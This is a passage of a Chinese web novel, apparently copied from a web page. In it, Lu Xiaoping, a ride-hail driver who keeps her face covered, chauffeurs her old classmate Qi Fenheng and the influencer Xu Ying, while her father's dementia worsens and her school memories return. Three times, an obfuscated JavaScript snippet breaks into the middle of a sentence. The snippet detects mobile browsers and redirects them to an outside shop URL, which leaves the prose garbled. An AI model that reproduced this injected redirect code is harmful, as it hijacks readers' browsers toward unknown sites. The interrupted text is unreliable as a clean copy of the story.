陆小萍发动汽车:“木安市的夏天都很晒。” “我恰好参加的是一个防晒品牌的发布会,晚点我给你多拿几管试用装回来。” 陆小萍忙道:“不用不用,您太客气。” 徐莹说:“都是品牌送的,我根本用不完,每次都会送人,你别当回事。”她拿出手机,对着话筒说,“分珩,我上车啦,谢谢你今天的安排。” “嗖”一声,语音出去。两秒后,对话框响起消息回来的提示音。 大概对方发的是文字,没有声音出来。 - 徐莹下车后,陆小萍找了个阴凉处停车。 即便她走了一阵,车里都还残留着淡淡的香水味。陆小萍摘了墨镜口罩,降了一点靠座,微微往后仰。豪车的空间要比她的新能源宽敞很多。她选了个舒服的姿势,拿出手机打开搜索,果然搜到一位粉丝208万的、叫“徐徐做美妆也做轮胎”的视频号。 她就觉得徐莹有些面熟,果不其然,果然是个公众人物,她以前刷到过。 这个账号没有签约公司,视频内容主要以剧情为主,串联一些流行的小故事,什么东西流行就立刻蹭热点,什么金龙鱼舞蹈啦,长腿舞啦,国风变装啦。所有视频的反差设置都和轮胎挂钩——要不然就是在工厂,要不然就是在汽修店,要不然人设就是一个普普通通的厂妹,最后摇身一变,成为时尚靓丽的都市大人。 因为没有人以轮胎为主题做视频,这个赛道她倒是没有对手。 陆小萍看了她几个视频,关掉了。 等待的时间很无聊。她不知道祁分珩这个时候在做什么。杨宗明说他上午去开会了,那么他下午会来吗? 徐莹和他是什么关系?合作方,朋友,好朋友,还是别的? 这个念头一冒出来,陆小萍就甩头掐灭。这不是她需要关心的。 - 然而今天一天陆小萍都没有见到祁分珩。 也没有见到杨宗明。 徐莹的安排很满。晚上八点多,品牌方的活动结束,她上了车,指挥陆小萍去了当地一个颇有名气的livehouse。快1点聚会结束,上车三人,除了徐莹还有她两个朋友。她们三人都喝了酒,酒吧的兴奋劲还在,叽叽呱呱说了一路。陆小萍先送了徐莹朋友,最后送她,等到只剩徐莹一人在车上,车厢才安静下来。 她的安静,是因为陆小萍不怎么说话。 不过没过多久,徐莹就像发现新大陆一般,倾身扒着副驾的靠背说:“小姐姐,你今天没戴口罩?” 是的,确定今天祁分珩不会出现后,晚上陆小萍便摘了口罩墨镜,一直戴着她也不舒服,只是徐莹这会儿才发现。 陆小萍对她笑笑。 徐莹又问:“咦,你是不是也剪头发了?还是昨天也这么短,我没发现?” 陆小萍简单答道:“是的,昨天剪的。” “这么短,你不喜欢长头发吗?” 陆小萍答:“天太热,还是短一点好。” 徐莹咧嘴笑了笑,退回后座,说道:“短头发很挑人的,不是每个人的脸型都适合短发,你这样男生一般短的头发没几个女生敢挑战。” 陆小萍配合地将嘴角勾了勾,没说话,打转向灯右拐。 徐莹又问:“你猜我是做什么的?” 陆小萍应付道:“是老板。” “做哪行的?” “时尚?” 徐莹哈哈大笑:“你们老板Leon怎么和你介绍我的?” 陆小萍心想:祁分珩不是我老板,也没和我介绍过。但她没这么说,她说的是:“祁总叫我称您徐总,说是他很重要的朋友。” 徐莹显然很开心,又笑了两声,自报家门:“我是一个网络博主,确实和时尚界相关,不过我家是做轮胎的,看不出来吧?” 陆小萍十分配合:“看不出来。” “我喜欢研究这些,喜欢看美女帅哥,所以一见你的轮廓便知道这是个优秀的人类头骨。你怎么想着做网约车司机,你们祁总是怎么招你进来的?” 陆小萍琢磨了两秒她这话,只回答了第二个问题:“是杨总招的我。” “原来这样,杨总主要负责你们公司人事?” 陆小萍以在职人员的身份点了点头。 “你们祁总平日里都这么忙吗?”她绕回到祁分珩。 陆小萍又点了点头。 徐莹问:“你们祁总这么忙,有时间陪女朋友吗?” 陆小萍从反光镜里看了眼徐莹,徐莹也看着她,脸上挂着顽皮的笑。所有的铺垫都在此刻彰显了醉翁之意不在酒。 陆小萍不知怎么回答她,这时,她的电话响了。 是张涛。 陆小萍按了接通。 “喂,还没结束吗?”张涛开口便问。 陆小萍道:“快了。” “怎么这么晚,要不要我来换你?” “不用,等下就回来了,先挂了。” 陆小萍是戴着耳机接的,徐莹从泄漏的声音中听出是个男声,八卦地问道:“男朋友?担心你?” 陆小萍觉得她今晚确实有点喝多了,说道:“不是的。” 徐莹不理她的否认,自顾自地答道:“女孩子跑夜车是让人担心的,何况还是漂亮的女孩子。今天确实有些晚了,辛苦你了。” - 张涛窝在沙发里刷短剧,忽然有人掀开帘子,抬眼一看,是陆小萍拎着一大包东西走进来。 他问:“怎么搞这么晚?” 陆小萍把袋子往桌上一放,简单解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059529|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释了两句,进屋去看顾岭,顾岭肚子上搭着半边空调被,另外半边掉到了地上。 陆小萍将掉下的半边被子捡回床上,走到外屋,张涛正在扒拉那一袋东西,问:“哪来这么多防晒用品?” 陆小萍说:“一个美妆博主给的。” 徐莹给了她很大一袋。陆小萍本来是不想要的,但是徐莹下车非要给,说晚上让女孩子熬夜很愧疚,而且她拿这么多没有用,说这些东西不值钱,说之前答应给陆小萍的一定要她收下…… 她的话实在太多了,陆小萍不得不以收下来结束这场无聊的推拉。等徐莹下了车往大厅走,陆小萍发现她背影摇晃得很。她下车扶她,没想到她把她拽到酒店客房,又给她塞了一袋价值不菲的护肤品。 徐莹给得十分随意,几千块的瓶子在她眼里,随意得就像几块钱。 曾几何时,陆小萍也不把这些东西放在眼里。 但今时不同往日,陆小萍回到小卖部后,将那堆瓶瓶罐罐从袋子里取出来,和张涛说:“明天你把这些立在前面,卖掉。” “这些贵吗?” 陆小萍把原装的放一边,把试用品小样放一边,说:“这边的贵,这边小样不怎么值钱,不过都能卖一些,蚊子腿也是肉。” 她想了想,又收回一套CPB的套装:“这三个我留着,给倩姐。” 张涛用淘宝扫了扫她手里的白瓶子,立刻大叫道:“这啥玩意?这一套就两千多?这里面是黄金吗?” 陆小萍说:“你别看官网的价,一般都买打折价。” “再怎么打折也得一千多吧,你出手可真大方。” “倩姐对我们也大方啊,她经常下班带回来水果糕点给我们。” 张涛想说,那都是她那些客人不吃的,而且水果和糕点能有多少钱,有这个值钱?不过他没说这样的话,因为他听见陆小萍用了一个词“我们”。 而且用了两次。 “对我们”。 “给我们”。 我们。 他“嘿嘿”笑了两声,见陆小萍的短发细碎地遮挡在耳边,他试探性地抬起手,想帮她捋一捋,陆小萍正好扬起脸,他立刻将手举到头顶,顺了顺自己的头发。 “那个……”他磕磕巴巴地说,“行吧。我不懂价钱,你把这些都标好。” “我知道。明天我也会挂闲鱼,卖的钱我们五五分。” “这……这怎么好意思呢……”张涛耳根有些发红,他想说,反正都是自己人,以后搞不好还是一家人,干嘛这么生分。 陆小萍不知张涛所想,笑道:“我都给倩姐留了一份,怎么会少了你的好处?我现在是寄人篱下,当然要对你好一点。” 陆小萍说得自然而然,说完又对张涛笑了一笑。张涛耳根的红忽然一下就蔓延到了脸上。他吞了下口水,有片刻失神,不知道怎么接话,挠了挠头发,半天,憋出一句话:“以后这么晚,你就别跑车了,不是很安全……我来……” 陆小萍扑哧一笑:“怎么,你是想以后有这样的机会,你独吞这些化妆品啊?” “怎么可能?”张涛连连摇头,解释道,“我是真的……” 话未说完,里屋忽然传来顾岭的大叫声,陆小萍慌忙跑过去,顾岭醒了,张牙舞抓地念念有词。陆小萍抓住他的手,诓慰了好一阵顾岭才消停下来。但是他没睡意了,就坐在床边,小声地自言自语。 陆小萍习以为常,去卫生间简单洗漱一番,脱了鞋蜷缩在顾岭床上,握住他的手,说了一声“爸,我睡会儿啊”,然后进入了梦想。 - 阿尔兹海默症到了开始磨人的阶段。 起初顾岭只是晚上间或醒来,说点梦话;现在发展成晚上大喊大叫,起来梦游,好半天才能消停。他不止一次十分认真地对陆小萍说,有人要杀他,快去拿菜刀;还出现过幻视,说陆小萍的头上长满了豆荚,是妖怪,他要杀妖怪。起初陆小萍一边掉眼泪一边劝慰、阻拦,后来次数多了,伤心和难过变成了迟钝的麻木,情绪不见了,她只把这当做一件事来做。 她知道眼泪解决不了任何问题,哭也没用,她还年轻,她还要生活,她不能被顾岭的事打磨得失去斗志。 她还要过她的生活。 11. 有什么气好生的呢? 早上,陆小萍比以往起得迟了二十分钟。 她做了一个梦,梦到了以前好多事。她妈妈陆芳华跟她说,不要被过去的事干扰,悟已往之不谏、知来者之可追。她深以为然且严格贯彻。所以当陆小萍醒来,发现一晚上都在和过去打交道,她心情烦躁,身体疲惫。 张涛还没醒,阿倩刚下班。陆小萍把护肤套装给了阿倩,阿倩自然是很开心。她察觉出陆小萍情绪的异常,问她怎么一大早就生气。 听到阿倩的话,陆小萍才意识到自己是在生气。 是啊,为什么一大早就要生气? 有什么气好生的呢? 她把顾岭栓好,架上墨镜,出车了。 - 今天,祁分珩和杨宗明陪着徐莹在木安市深度一日游。 陆小萍开着杨宗明的奔驰在园区门口接上了杨、祁二人,然后去酒店接徐莹。木安市盛产茶叶,他们先去山上的茶室喝茶,那边现在被开发成一条有品位的商业街,也是网红打卡点,很对徐莹的口味;午饭后,他们去沿湖的历史风景区逛逛,祁分珩定了屋顶餐厅,晚餐在这里吃,可以鸟瞰广阔的无敌湖景。 杨宗明坐副驾驶,祁分珩和徐莹坐后面。三人在车上说说笑笑,到了茶山,他们先下,陆小萍找地方停车。 虽然是工作日,山上依旧车位紧缺。陆小萍往山腰开了一些路才找到一个车位。停好之后,旁边有个农家乐,陆小萍进去吹空调,付15块钱一位的茶水费,开始百无聊赖地等待。 - 祁分珩三人走了一段曲径通幽的小路,抵达事先预定好的茶室。室内装修颇有格调,呈现静谧的日式装修风格。在漂亮服务员的引导下,他们经过一个枯山水庭院,抵达堂屋,脱鞋,踩在草苇编织的地面上,拉开木门,眼前展现一面巨大的落地窗,窗外是绿色起伏的茶园。 徐莹被这美丽的景色震惊,往前快走两步,回头道:“好美啊!” 杨宗明笑道:“分珩说你会喜欢这样的,果然没错。这里一般都要提前两个星期定的,你前两天来,分珩托了人才订到。” 徐莹向祁分珩露出羞涩又甜美的笑容。祁分珩说:“我在滨州的时候,徐总盛情款待我,现在到了木安市,岂有让徐总留有遗憾的道理。” 徐莹听闻这话,笑容变成了嘟嘴,娇嗔道:“叫我徐总好生分,我都直接叫你们分珩、宗明,你们可以我莹莹,我朋友都这样叫的。” 杨宗明道:“‘莹莹’和我们团队另外一位成员夏颖颖的‘颖颖’好像。” “那叫小莹,我比你们都小。”徐莹沿着窗边的蒲垫坐下,又问,“说起来,怎么这两天没见着你说的那位夏颖颖?” 祁分珩在她旁边坐下,说:“她最近不在国内,去度假了。” “度假?”徐莹吐了吐舌头,“你们在国内辛苦干活,她……” 杨宗明笑道:“我们团队一向很敬爱女士,颖颖最近也是遇到点事,让她放松一下。” 徐莹想起之前听任瑶说过的八卦,笑了笑,没有深究。服务员按了门铃,进来上茶,行云流水表演完一通茶艺后,徐莹轻尝了一口,美美地眯起了眼睛,然后她拿出了一个iPad。 祁分珩以为她要录Vlog,没想到她将pad转到杨宗明面前,点开屏幕,说道:“上次杨总没来滨州,没去到朝阳橡胶,现在我向杨总简单介绍一下我们的业务。” 祁分珩微微扬眉,他没想到徐莹会在此刻介绍公务。 徐莹笑着划开第一页PPT,说道:“朝阳橡胶是我爸爸在1988年创立的。我们那边有座寺庙,叫朝阳寺,我爸有些迷信,去庙里求签,问菩萨自己做轮胎能不能发家,菩萨说能,于是他就回来成立了这个厂子。他本来是橡胶厂的技术主任,下岗后,他和两个朋友买了一个汽车修理厂的翻胎车间,这就是‘朝阳橡胶’的前身。” 徐莹翻动PPT,娓娓道来:“最开始我们也是做民用的东西,比如一些橡胶鞋、力车胎,后来规模逐步扩大,有了更多资源和资金支持后,我们开始做实心轮胎、工程轮胎,2010年左右,我们跨入巨胎生产的企业行列。现在我们有三个轮胎品牌,两万多家线下经销门店,七个国内生产基地。 “2020年,我们积极开拓海外市场。去年12月,位于泰国工业园区的朝阳橡胶泰国MTI公司一期正式投产,刷新了泰国本土大型工业厂房建设的新速度,实现当年建设、当年投产。第二个海外生产基地印尼工厂已于今年五月正式奠基,项目投资超2亿美元、占地面积约30万平方米,预计今年底可投产。” 说到这里,徐莹语速慢下来,她观察祁分珩和杨宗明的表情。祁分珩在滨州的时候去过他们总部,对这些信息没有太过惊讶;在杨宗明脸上,她看到了她期望看到的隐约的惊讶和赞叹。 在她微微停顿的时候,杨宗明恰当好处地夸赞道:“厉害的企业,不愧是滨州的橡胶大王。” 徐莹趁机话锋一转,说道:“我其实对橡胶不太感兴趣。我爸总要我来接力,我觉得很吃力。朝阳橡胶发展得是好,但是现在竞争激烈,它像一条笨拙的长虫,吃着自己的老本,转型和升级很难;但如果不转型升级,总会被淘汰。” “所以你打算用互联网的短视频来拯救这个笨拙的企业?”杨宗明问。 “这只是一个巧合。”徐莹道,“我本科是学文学的,按照我家的情况,我可以做一个职业女儿。美妆是大学时候就喜欢的,朋友说我审美好、技术好,可以当博主,于是我就开始尝试,没想到还真有人关注。当我粉丝到5万的时候,我有一次突发奇想,把场景换到了我家的轮胎厂里,没想到小火了一把。我爸很开心,我想这也是对厂子的一种宣传,于是就开始走这条路线了。” “你这个方向很好,”杨宗明道,“互联网时代,流量很重要。” 徐莹拾起一块糕点放进嘴里:“歪打正着吧。我爸他们老一代很喜欢请一些过气明星来打广告,说真的,宣传效果还不如我的账号呢。” “你爸给你付广告费了吗?”祁分珩笑问。 “切,他可抠了,说一家人不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059530|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两家账。”徐莹瘪嘴,“我能帮他多少是多少吧,多帮点以后我就多得点,要是真破产了,最后我拿到的也少。” 三人笑起来。祁分珩对杨宗明道:“上次时间仓促,只去了他们总部,没去他们的研发中心,他们也有独立的研发中心。” 徐莹点头:“这点倒没错。虽说我爸观念老旧,在技术革新方面他还是很重视的。我们每年会在技术研发上投入2个亿的资金。我不懂技术,光从成果上看,我觉得还是有些问题,好几年了,也没出现过什么革命性的新材料。当然,这方面你们是专家。” 祁分珩道:“轮胎的材料很分很多种,配比和工艺加工技术都很重要。据我所知,国内好几所高校有专门的橡胶研究室,你们和高校有合作吗?” “有,我们在滨州大学有合作实验室,不光和老师合作课题,我们还提供实习机会,欢迎硕士、博士来就职。和你的母校也有过合作,不过最近几年弱了些,因为你们学校的材料系逐渐偏向工程塑料了。” 祁分珩不由笑道:“还说你不懂材料,你说得都是专业名词。是的,工程塑料最近很火,因为应用面很广,来钱快。” 徐莹带了一点恰到好处的不好意思:“这次要来木安市见你,我特意在公司里补了课,算现学现卖。那你们主要研究的方向呢?在材料科学里算热门的吗?” 祁分珩微微摇头:“水凝胶的方向热门是热门,但实际的转化和运用还比较小众。现在没有探索出一条特别宽阔的道路。” “那就对了,没人走的路才是有前途的路。”徐莹说道,“我很看好你们。” - 快到十二点的时候,陆小萍回车里取出她的午餐——三明治。 洗两片生菜,夹住两个煎鸡蛋,再被两片面包夹住,这便是陆小萍的午餐。茶水续到第三次,农家乐的老板已经有些不开心了。陆小萍跟她买了一瓶矿泉水,一口三明治一口水,就着外面的茶园景色,慢慢吃下。 窗外绿意盎然,一片生机勃勃。这座山叫白虎山,传说山里的虎是纯白色,因而得名。又说是因为山的形状像一只趴着的老虎,前面是老虎眉头,白色裸露的岩石像“王”字,中间塌陷的山脊线条是老虎的腰,再高起来的地方是老虎的屁股。 陆小萍描述这些时候,有人笑着说她说得很形象,还说如果我们走到那一段——他指着那一段高处的圆润地带,是不是就可以摸老虎的屁股。 那个时候的她背着一个双肩书包,里面胡乱装着奥数书和少女杂志;插话的人站在人群中,和三五男生说说笑笑,少年脸上还挂着点婴儿肥,脸颊没有现在的棱角,举手投足也没有这样的成熟老练。 他们眼里都有清澈的光,比此刻窗外盛夏的阳光还耀眼。 陆小萍深深叹一口气。她努力不去想昨晚的梦,但那些场景一个上午都在折磨她。到此刻,她宣布放弃,她举起了小白旗,她想堵不如疏,曾经发生过的,其实也就是发生过而已。 也没什么大不了。 它要浮现,就让它一点一点浮现。 12. 藏在墨镜后面看人,不讲武德。 “那是老虎的额头,”祁分珩眯着眼睛给徐莹指方向,“往后一点这里塌陷的地方是老虎的腰身,再高起来的地方,是老虎的屁股。” 徐莹说:“那这白虎山的白虎,是个母老虎。” “为什么?”服务员来上菜,祁分珩用公筷给徐莹夹了一片鱼。 “你看啊,这一起一伏的曲线,很优美,像是个姑娘。”徐莹笑道。 杨宗明跟着笑起来,招呼道:“尝尝这鱼,是这里的招牌菜,很鲜嫩。” 徐莹尝了一口,的确爽口,又看着老虎屁股处,问道:“那远处的建筑是什么?” 祁分珩道:“以前那边就是一行一行的茶树,从山腰排到山顶,现在那个地方建了一条非遗产业街,很漂亮。吃过饭要是不嫌热,我们可以去走走。里面还有一个水库,风景也很美,要去的话我们也可以开车去。” 听闻还要走很远,徐莹抿了一口沙冰:“算了,太热了,我小红书上看看就行。” 说到这里,她忽然想起一般地问道:“这么热,我们的司机小姐姐午饭在哪里吃?” 经此一提,祁分珩才想起那位沉默的司机,好在杨宗明已经回答:“她找个农家乐吃三明治,她自己带的。” “等下她过来接我们?”徐莹问。 “会的。”杨宗明道。 “你们这位司机小姐姐人很好,”徐莹道,“你哪里找的?” 杨宗明道:“我们公司没司机,是分珩的车被人撞了,送去修要两个月,现在又热得很,于是临时包了一个网约车。” “原来是这样。”徐莹颔首。 祁分珩说:“她倒是挺沉默,话也少,总是蒙着面,我都还没见过真人。” 徐莹道:“这你就不懂了吧,女孩子总是爱美的,太阳这么晒,当然要遮得严实些。” 杨宗明说:“不是的,她对紫外线过敏。” “对紫外线过敏?”祁分珩诧异,问出和杨宗明当初一样的话。 杨宗明道:“我第一次听到和你反应一样,心想还有人不能晒太阳。” “有的,”徐莹却一本正经地向俩位男士科普,“真的有人不能晒太阳。我有个朋友就这样,夏天再热也是长袖长裤,哪怕阴天出门也要打伞,晒一会儿皮肤就会发红发痒。” 杨宗明笑道:“小莹总见多识广。” 徐莹敲敲筷子,故作生气:“小莹就好了,干嘛加总,老气横秋的。” 祁分珩夹了一片菜,想起那位沉默木讷的女司机,又想起之前有次打车也是遇到个武装得连亲妈都认不出的女司机。 对于这样藏在后面看人的装扮,他总觉得有些不舒服。 他喜欢亮亮堂堂,不喜欢鬼鬼祟祟。 他问杨宗明:“我只记得她姓陆,全名叫什么?她遮得这样严实,真人都不知道什么样。” 杨宗明笑道:“她全名叫陆小萍,人就木安本地的。本人我见过,不防晒的时候她就一正常小姑娘,这样装备就是为了防过敏,不用担心。你要真对她好奇,我找个时间领她来专门找你,让你看着真切。” 听闻这话,祁分珩瞥了一眼徐莹,说道:“那倒也不用。” - 三人吃过饭在茶室休息一会儿,准备去下一个景点。杨宗明在微信上提早和陆小萍发了信息,三人出门,那辆黑色的大奔已经安安稳稳地停在路边。 陆小萍下来替人开车门,祁分珩第一次在白天见到她整个人,除了见她夸张怪异地包裹自己,他还发现人很瘦,头发剪得很短,走路有点驼背。她在他面前恭恭敬敬地打开车门,先让徐莹坐进去,又等他坐进去,然后一只手按在车框上,另一只手轻轻带上了车门。 车里的温度很适宜,真皮沙发没有灼烧人的屁股,空调也打得正好,她应该是把车停在了树荫下。 祁分珩见她绕过车头一圈,回到驾驶室,平稳地启动汽车。 他冷不防地开口:“小陆师傅,中午吃饭了吗?” 陆小萍明显有点意外,她往后视镜瞧了眼,答道:“吃了。” “车后来停哪里的?” 陆小萍答:“山下有个公共停车场。” “哦,”祁分珩应了声,“你鼻炎好些了吗?” 陆小萍似乎意外他还记得:“好多了,谢谢。” 祁分珩又问:“听说你对紫外线过敏?” 陆小萍老实地点头:“是的。” 然后没话了。 她话真的很少,只会一问一答。没有你来我往,祁分珩很难继续。 杨宗明坐副驾,见车上导航时间,插话进来:“我们过去要五十分钟,小莹,你可以在车上休息会儿。” 徐莹从手机里抬起眼睛:“午饭后确实有点困,我处理完信息要眯一下,要是流口水,你们可不能偷拍我。” 祁分珩被她逗笑:“要是偷拍了,是不是可以卖给你的粉丝换钱?” “粉丝不会买这样的照片的,不如卖给我靠谱一点。” “那你会买吗?” “当然不会啦,我还有更丑的。” 徐莹笑着放下手机,从包里翻出一个漂亮的镜子,示意祁分珩:“分珩,你帮我举一下,我补个妆。” 祁分珩依言帮她举起镜子,徐莹先补了散粉,又补了唇彩,最后她抿了抿,让蜜桃色的唇釉分布自然,像果冻一般粉嫩。 她从祁分珩手里抽回镜子,露出笑容:“谢谢分珩。” 祁分珩收回目光,说:“客气。” 杨宗明从后视镜里看完这一切,心中了然笑笑。 - 盛夏容易就让人疲惫,不一会儿,车上就陷入沉默。 最先睡着的是徐莹,汽车在盘山路上转到第三圈,她已经靠着头枕睡着了。杨宗明随着汽车晃悠,靠在背椅闭目养神。 祁分珩低头处理手机上面的事情,忽然,他感觉左肩一沉。 徐莹靠了过来。 车在转弯的时候,她的身体不自觉地往右边倾斜,头自然而然地落到了祁分珩的肩膀。 他的高度刚刚好,她的头恰好嵌落在他的颈窝,头发散落一缕幽香。 祁分珩低头,慢慢转过去。 徐莹刚涂过的小嘴微张,呼吸平稳而均匀,看上去睡得很甜。 忽然间,祁分珩感受到一道带风的目光悄无声息地扫过来。他抬起头看向后视镜,镜中只有陆小萍醒着,而她的装扮严丝合缝,像个心怀不轨的-恐-怖-分子,眼睛藏在墨镜后,不知道眼珠盯着哪里。 但此刻祁分珩很笃定,那目光来自她,她正看着他。 藏在墨镜后面看人,不讲武德。 祁分珩不动声色地回望着她,他知道她无需转头侧脸,只需要眼皮抬抬、眼珠转转,便可以轻松在“看后视镜”和“看前方路”之间切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059531|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换。 她不让人知道墨镜后她究竟在看什么,那祁分珩便不知她到底在看什么,所以他也就这样静静地看着她。 他想,无非是她看到了徐莹靠到了他的肩膀,内心在偷偷吃瓜。要是其他人他也就一笑了事,但此刻,他觉得那目光让他不舒服,于是,他的回看中带了一点不客气的审视。 而前排司机无动于衷,依旧装傻,好像不知道祈分珩的目光落在她身上。 祈分珩想起上次和她一样严密武装的网约车司机,他忽然开口:“小陆师傅,我们是不是以前见过?” 陆小萍听到这句话,心中微微一颤,眼睛抬向后视镜,镜面中,祁分珩面容平静地看着她。 徐莹在他左肩熟睡。 但墨镜很好掩盖了她眼珠的移动。陆小萍语气茫然,低声说:“没有。” 祁分珩道:“我有次打车,也遇到位女司机,和你一样全副武装。” 陆小萍的声音仍是很低:“巧合吧。” 祁分珩问:“你不热吗?” 陆小萍道:“有空调还好。” 老老实实的一问一答,像挤牙膏。 祁分珩淡淡笑了笑,他知道她说不出什么,评价道:“你话真少。” 但眼神好像没那么老实。 - 祁分珩没有推醒徐莹。 二十分钟后,徐莹在祁分珩的左肩上徐徐醒来,睡眼惺忪地搞清楚一切后,脸颊浮上淡淡云霞:“不好意思啊,分珩,我不知道怎么睡着了。” 祁分珩动了动胳膊,开她玩笑:“放心,没有口水流下来。” 徐莹吐了吐舌头,伸手理头发:“晚上我请你做按摩。” 陆小萍已经下车为他们打开了车门,杨宗明先一步下车,笑道:“好啊,不怕电灯泡的话,记得带上我。” 徐莹的脸立马更红,她看了一眼祁分珩,抢言道:“肯定要请宗明啊,怎么可能漏掉你。” - 三人下车后,陆小萍照例去停车。 景区旁边有一片超大停车场,这次很容易就找到了空位。他们抵达的时候已是下午四点多,虽说比正午好一些,但户外仍是酷热。停车场旁边没有可遮阳的地方,陆小萍只得待在车里。 她看着三人下车后越走越远,停在了湖边荷花盛开的地方。那一片建了一条古色古香的商业街,开了很多茶叶和汉服的小店,最近荷花正盛,很多小姐姐来变装打卡拍照,好不热闹。景区虽是免费,但管委也想出了挣钱的办法——临时开辟了一条水中穿越荷花的航线,每人收费40,逛一圈半个小时。游客既然来都来了,自然不会错过这个项目,于是,沿湖老远便能看到码头上排着长长一队穿着汉服的小姐姐,都在等着上船出片。 作为网红博主,徐莹自然是要来此处看看。 陆小萍见三人选了一家汉服店进去,便降下全部车窗,打开车门,摘了墨镜、口罩和冰袖,卷起长裤裤腿,到太阳晒不着的后座躺着。 睡下的一瞬间,她内心忽然浮现一个怪异的想法:刚刚徐莹就是坐的这里吧。 就是在这个位置上靠到了祁分珩的肩上? 陆小萍笑了笑,觉得这想法真无聊。她脱了鞋,躺到凉爽的皮质坐垫,左脚立着,右脚翘在左脚的膝盖上。地热在聒噪的蝉鸣中逐渐往上翻涌,她的额边慢慢渗出汗珠,而她却在这淡淡的暑意和倦意中,睡着了。 13. 他的前女友只有一个? 白虎山往里走五公里就是白虎水库。一条小河从山坳中潺潺流出,到了山势低洼处形成了湖泊,后来被人筑城了水库。白虎水库周边长满了高大的红杉,每年到了十一月,红杉树林变红,水面也倒影着红树,这一片成了火的海洋。 大自然的美景其实对中学生没有太大吸引力。这一片最吸引陆小萍的是水库的传说。陆小萍的爷爷顾峦清曾经是山里的茶农,他和她讲,水库很深,没有人测得过它最深有多深。水库底部有洞穴,四通八达,最远处和钱塘江相通。水库里面有一只上千年的乌龟,大如晒茶的簸箕。 水库的乌龟和前山的白虎是宿敌,后来白虎被乌龟拖到水里淹死,幻化成了山体的模样。 他爷爷听他的爷爷说,有人见过那只乌龟爬到湖中的大石头上晒太阳。有善泅者牵着长绳下潜捉拿,最后浮上来的只有半截绳子。 陆小萍听到这里非但没觉害怕,反而更加好奇。她问顾峦清这是真的吗,顾峦清说,这都是传说,谁也没见过。但陆小萍却笃定地觉得这是真的,这片水库里真的有那么大一只成精的乌龟。 陆小萍是小时候听得顾峦清讲的这故事,后来顾峦清走了,顾岭做生意太忙,母亲陆芳华忙着算账,没有人带她来看看故事传说里的水库。 直到高三那个秋天,高中数学竞赛结束,竞赛组的老师组织同学秋游,她才第一次坐着大巴车来到白虎水库。 午休时刻,同学们拿出自带的干粮。陆小萍好奇爷爷讲的传说,走到了水库边。那里有两三位男生正在比赛打水漂,旁边立着一位在指点。 她认识那个人,就是站她旁边问老虎山上摸老虎屁股的那个人。 他叫祁分珩,是隔壁班里新转来的同学。 学校每届高三都会去外面挖一些“好苗子”来提高前十大学的升学率,祁分珩就是其中之一。高二的暑假补课,祁分珩的名字就在年级流传。陆小萍听见班里女生提起过他,说他长得帅,笑起来很“阳光”。但陆小萍记得他不是因为这个,是因为暑假一次摸底考、开学一次摸底考,好巧不巧,他都刚刚艳压她一名。 陆小萍有些不爽。 他们还同在一个奥数班,奥数的年级统一开的小课,二十几个人,好在他的奥数没有陆小萍强,陆小萍勉强保住了江山。 两人没说过什么话,陆小萍对这位新同学也没什么话好说。 陆小萍看着湖面发呆。她知道不会真的有一只乌龟精从湖面浮起来,但她仍忍不住寻找与传说中能吻合的蛛丝马迹。也不知道是怎么回事,她看着看着忽然觉得水中间泛起了波纹,她头晕目眩,不可控制地往前倾,她猛然意识到自己要掉水了,而祁分珩高高的个子正好站在前面,于是她长手一伸,直接将他推进了水里。 她跌入了深沉的水里,失去了意识,而实际上却是跌回炎热的夏季——她搭在左膝上的右腿滑落,她从梦中醒来。 下午的梦和昨晚的梦接上了,像一个连续剧播了上集播下集,昨晚梦到他们高三秋游走到白虎山,下午便接着剧情发展他们进山走到白虎水库。 这是十年前的事了,陆小萍没想到她还记得,也不知道为何忽然梦到。 下午醒来没有早上醒来那么烦闷,她不太愿意想起以前的事,这让她生气,可她控制不了自己的梦,所以她烦闷。可再大的烦闷被这酷暑的太阳一晒,也被挥发得无影无踪。 有什么好生气的呢? 往事是往事。 梦是梦。 白虎山是白虎山。 座椅是座椅。 没人记得白虎山曾经秋游过谁,也没人在意这座椅上坐过谁。 睡意来了,身子一躺,脚一搭,管这座椅上是男人的汗味还是女人的香味,她晕沉沉就入睡。 忽然察觉到口袋里手机在震动。 拿出来正好对方挂了。打开一看,是祁分珩,前面还有个未接来电。 显然是有事。 陆小萍赶紧拨了回去。 祁分珩问:“怎么不接电话?” 陆小萍忙道:“刚刚震动没听见。怎么了,祁……”完整的“祁分珩”差点脱口而出,好在她临时惊醒,舌头打结,改口道,“……祁总。” 祁分珩那头忽然顿了顿,空白的这两秒里,陆小萍心跳陡然加速——不仅是差点说错名字,她的声音也忘了压低,祁分珩那头不会察觉到什么吧? 